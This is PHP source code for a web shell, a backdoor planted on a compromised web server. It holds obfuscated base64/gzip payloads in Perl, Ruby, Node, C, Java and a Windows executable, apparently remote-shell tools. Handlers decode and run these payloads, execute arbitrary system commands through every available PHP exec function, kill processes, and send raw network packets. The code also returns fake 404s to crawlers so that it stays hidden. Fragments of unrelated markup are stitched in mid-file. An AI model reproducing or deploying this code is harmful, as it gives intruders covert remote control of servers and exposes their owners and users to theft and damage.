$GLOBALS['resources']['rs_perl'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ==";
$GLOBALS['resources']['rs_ruby'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs=";
$GLOBALS['resources']['rs_node'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ=";
$GLOBALS['resources']['rs_gcc'] = "rVJhb9owEP0Mv8JjU+tQj5C006TSVEKFSWgtRMA0TRuKgmPIqcGOYjNBp/732nFgwLRJk/ohyd27l3f2vXObKFUql9euuwSVructKlbu/PLj1aN9o6ZbfwucZuuEoRupEhCt9PYIKoAvT7Ekg/kJtpWu2uZM/glLQR+ZOsY5U6AfF/gxvuag1Q0GXKFVDBybIC6WlNA0LlBThz+/z5xf9ZopSEKJCLxOvaYPuqYa0M3iJCki4Ag0DAtsfg4C3/xSg5YEHi3iFWTboPspGgz7084ez0WhglQJLnGsBOCylzdznN8Uo92S5adkZngw7PZ646g7/FbSZGDviyt1MhndfY4m03G/+0DalsKU4YhcYanL95GhlMxo3P8y6Rs9ciaIhCcmFlhU/Rf4jXTYBhS2MnPgiRbAJzdHTecMSHvjWVamB8q45n0oUxrElLKyc3t/HK1DScMuhExZlqFrRAXnjCqW/OAN4l9V3GSd+5p7lHiHiW8lt7rpCjfYxowUTfvjh2CjWLHqhBMvOH8Xfu3dnneqqoZ0yChy9Y1cmaL30LBnzYRkmJr4uV5jmWRob+fl69tpFrKMLNGf2Sk/sULsEKJnnelp7ggX3sUhstP+5w4MwnA8mo6i6V248xVXw/6rm9UmnNQcx7lpH25E6aT8DyflceIdJq/vpLROPtdfAA==";
$GLOBALS['resources']['rs_java'] = "lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8=";
$GLOBALS['resources']['rs_executable'] = "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";
$GLOBALS['module']['network']['id'] = "network";
$GLOBALS['module']['network']['title'] = "Network";
$GLOBALS['module']['network']['js_ontabselected'] = "";
$GLOBALS['module']['network']['content'] = "
";
if(isset($p['rsLang']) && isset($p['rsArgs'])){
$rsLang = $p['rsLang'];
$rsArgs = $p['rsArgs'];
$res = "";
if($rsLang=="php"){
$code = get_resource("rs_".$rsLang);
if($code!==false){
$code = "\$target = \"".$rsArgs."\"; ?>".$code;
$res = eval_go($rsLang, $code, "", "");
}
}
else{
$code = get_resource("rs_".$rsLang);
if($code!==false){
$res = eval_go($rsLang, $code, "", $rsArgs);
}
}
if($res===false) $res == "error";
output(html_safe($res));
}
elseif(isset($p['packetTimeout'])&&isset($p['packetSTimeout'])&&isset($p['packetPort'])&&isset($p['packetTimeout'])&&isset($p['packetContent'])){
$packetHost = trim($p['packetHost']);
if(!preg_match("/[a-z0-9]+:\/\/.*/", $packetHost)) $packetHost = "tcp://".$packetHost;
$packetPort = (int) $p['packetPort'];
$packetTimeout = (int) $p['packetTimeout'];
$packetSTimeout = (int) $p['packetSTimeout'];
$packetContent = $p['packetContent'];
if(ctype_xdigit($packetContent)) $packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
}
$res = "";
$sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
if(!$sock){
$res .= "";
$res .= html_safe(trim($errStr))." (error ".html_safe(trim($errNo)).")
";
}
else{
stream_set_timeout($sock, $packetSTimeout);
fwrite($sock, $packetContent."\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="") $counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
$res .= "";
}
output($res);
}
$GLOBALS['module']['processes']['id'] = "processes";
$GLOBALS['module']['processes']['title'] = "Processes";
$GLOBALS['module']['processes']['js_ontabselected'] = "show_processes();";
$GLOBALS['module']['processes']['content'] = "";
if(!function_exists('show_processes')){
function show_processes(){
$output = '';
$wcount = 11;
if(is_win()){
$cmd = "tasklist /V /FO csv";
$wexplode = "\",\"";
}
else{
$cmd = "ps aux";
$wexplode = " ";
}
$res = execute($cmd);
if(trim($res)=='') return false;
else{
$output .= "";
if(!is_win()) $res = preg_replace('#\ +#',' ',$res);
$psarr = explode("\n",$res);
$fi = true;
$tblcount = 0;
$check = explode($wexplode,$psarr[0]);
$wcount = count($check);
foreach($psarr as $psa){
if(trim($psa)!=''){
if($fi){
$fi = false;
$psln = explode($wexplode, $psa, $wcount);
$output .= "
action ";
foreach($psln as $p) $output .= "".trim(trim(strtolower($p)) ,"\"")." ";
$output .= " ";
}
else{
$psln = explode($wexplode, $psa, $wcount);
$pid = trim(trim($psln[1]),"\"");
$tblcount = 0;
$output .= "";
foreach($psln as $p){
if(trim($p)=="") $p = " ";
$p = trim(trim($p) ,"\"");
$p = html_safe($p);
if($tblcount == 0){
$output .= "
kill ".$p." ";
$tblcount++;
}
else{
$tblcount++;
if($tblcount == count($psln)) $output .= "".$p." ";
else $output .= "".$p." ";
}
}
$output .= " ";
}
}
}
$colspan = count($psln)+1;
$colspanAll = $colspan+1;
$output .= "
kill selected refresh
";
}
return $output;
}
}
if(isset($p['showProcesses'])){
$processes = show_processes();
if($processes!==false) output($processes);
output('error');
}
elseif(isset($p['allPid'])){
$allPid = explode(" ", $p['allPid']);
$counter = 0;
foreach($allPid as $pid){
$pid = trim($pid);
if(!empty($pid)){
if(function_exists("posix_kill")){
if(posix_kill($pid,'9')) $counter++;
}
else{
if(is_win()){
$cmd = execute("taskkill /F /PID ".$pid);
$cmd = execute("tasklist /FI \"PID eq ".$pid."\"");
if(strpos($cmd,"No tasks are running")!==false) $counter++;
}
else{
$cmd = execute("kill -9 ".$pid);
if((strpos($cmd, "such process")===false)&&(strpos($cmd, "not permitted")===false)){
$cmd = trim(execute("ps -p ".$pid));
$check = explode("\n", $cmd);
if(count($check)==1) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
else output('error');
}
$error = @ob_get_contents();
$error_html = (!empty($error))?"".html_safe($error)."
":"";
@ob_end_clean();
?>
'>
"
}
}
]
}
",
"provider": {
"@type": "Organization",
"name": " - "
}
}
-->
";
echo $res;
}
}
if(!isset($c['pass']) || (isset($c['pass'])&&($c['pass']!=$GLOBALS['pass']))){
$res = "
You need to enable javascript
";
echo $res;
die();
}
}
}
}
if(!function_exists('get_server_info')){
function get_server_info(){
$server_info['uname'] = php_uname();
$server_info['software'] = getenv("SERVER_SOFTWARE")." | PHP ".phpversion();
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
$server_info['ip_adrress'] = "Server IP : ".$server_addr." | Your IP : ".$_SERVER['REMOTE_ADDR'];
$server_info['time_at_server'] = "Time @ Server : ".@date("d M Y H:i:s",time());
return $server_info;
}
}
if(!function_exists('get_self')){
function get_self(){
$query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
return html_safe($_SERVER["REQUEST_URI"].$query);
}
}
if(!function_exists('get_post')){
function get_post(){
return fix_magic_quote($_POST);
}
}
if(!function_exists('get_nav')){
function get_nav($path){
return parse_dir($path);
}
}
if(!function_exists('get_cwd')){
function get_cwd(){
$cwd = getcwd().DIRECTORY_SEPARATOR;
if(!isset($_COOKIE['cwd'])){
setcookie("cwd", $cwd);
}
else{
$cwd_c = rawurldecode($_COOKIE['cwd']);
if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
else setcookie("cwd", $cwd);
}
return $cwd;
}
}
if(!function_exists('wrap_with_quotes')){
function wrap_with_quotes($str){
return "\"".$str."\"";
}
}
if(!function_exists('get_resource')){
function get_resource($type){
if(isset($GLOBALS['resources'][$type])){
return gzinflate(base64_decode($GLOBALS['resources'][$type]));
}
return false;
}
}
if(!function_exists('block_bot')){
function block_bot(){
// block search engine bot
if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
header("HTTP/1.0 404 Not Found");
header("Status: 404 Not Found");
die();
}
}
}
if(!function_exists('is_win')){
function is_win(){
return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
}
}
if(!function_exists('fix_magic_quote')){
function fix_magic_quote($arr){
$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
if(is_array($arr)){
foreach($arr as $k=>$v){
if(is_array($v)) $arr[$k] = clean($v);
else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
}
}
}
return $arr;
}
}
if(!function_exists('execute')){
function execute($code){
$output = "";
$code = $code." 2>&1";
if(is_callable('system')){
ob_start();
@system($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('shell_exec')){
$output = @shell_exec($code);
if(!empty($output)) return $output;
}
elseif(is_callable('exec')){
@exec($code,$res);
if(!empty($res)) foreach($res as $line) $output .= $line;
if(!empty($output)) return $output;
}
elseif(is_callable('passthru')){
ob_start();
@passthru($code);
$output = ob_get_contents();
ob_end_clean();
if(!empty($output)) return $output;
}
elseif(is_callable('proc_open')){
$desc = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"));
$proc = @proc_open($code, $desc, $pipes, getcwd(), array());
if(is_resource($proc)){
while($res = fgets($pipes[1])){
if(!empty($res)) $output .= $res;
}
while($res = fgets($pipes[2])){
if(!empty($res)) $output .= $res;
}
}
@proc_close($proc);
if(!empty($output)) return $output;
}
elseif(is_callable('popen')){
$res = @popen($code, 'r');
if($res){
while(!feof($res)){
$output .= fread($res, 2096);
}
pclose($res);
}
if(!empty($output)) return $output;
}
return "";
}
}
if(!function_exists('html_safe')){
function html_safe($str){
return htmlspecialchars($str, 2 | 1);
}
}
if(!function_exists('parse_dir')){
function parse_dir($path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$paths = explode(DIRECTORY_SEPARATOR, $path);
$res = "";
for($i = 0; $i < sizeof($paths)-1; $i++){
$x = "";
for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
$res .= "".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." ";
}
if(is_win()) $res = get_drives().$res;
return trim($res);
}
}
if(!function_exists('zip')){
function zip($files, $archive){
$status = false;
if(!extension_loaded('zip')) return $status;
if(class_exists("ZipArchive")){
$zip = new ZipArchive();
if(!$zip->open($archive, 1)) return $status;
if(!is_array($files)) $files = array($files);
foreach($files as $file){
$file = str_replace(get_cwd(), '', $file);
$file = str_replace('\\', '/', $file);
if(is_dir($file)){
$filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
foreach($filesIterator as $iterator){
$iterator = str_replace('\\', '/', $iterator);
if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;
if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
}
}
elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
}
if($zip->getStatusString()!==false) $status = true;
$zip->close();
}
return $status;
}
}
if(!function_exists('compress')){
function compress($type, $archive, $files){
if(!is_array($files)) $files = array($files);
if($type=='zip'){
if(zip($files, $archive)) return true;
else return false;
}
elseif(($type=='tar')||($type=='targz')){
$archive = basename($archive);
$listsBasename = array_map("basename", $files);
$lists = array_map("wrap_with_quotes", $listsBasename);
if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));
if(is_file($archive)) return true;
else return false;
}
return false;
}
}
if(!function_exists('decompress')){
function decompress($type, $archive, $path){
$path = realpath($path).DIRECTORY_SEPARATOR;
$status = false;
if(is_dir($path)){
chdir($path);
if($type=='unzip'){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$target = $path.basename($archive,".zip");
if($zip->open($archive)){
if(!is_dir($target)) mkdir($target);
if($zip->extractTo($target)) $status = true;
$zip->close();
}
}
}
elseif($type=='untar'){
$target = basename($archive,".tar");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
$after = count(get_all_files($target));
if($before!=$after) $status = true;
}
elseif($type=='untargz'){
$target = "";
if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");
if(!is_dir($target)) mkdir($target);
$before = count(get_all_files($target));
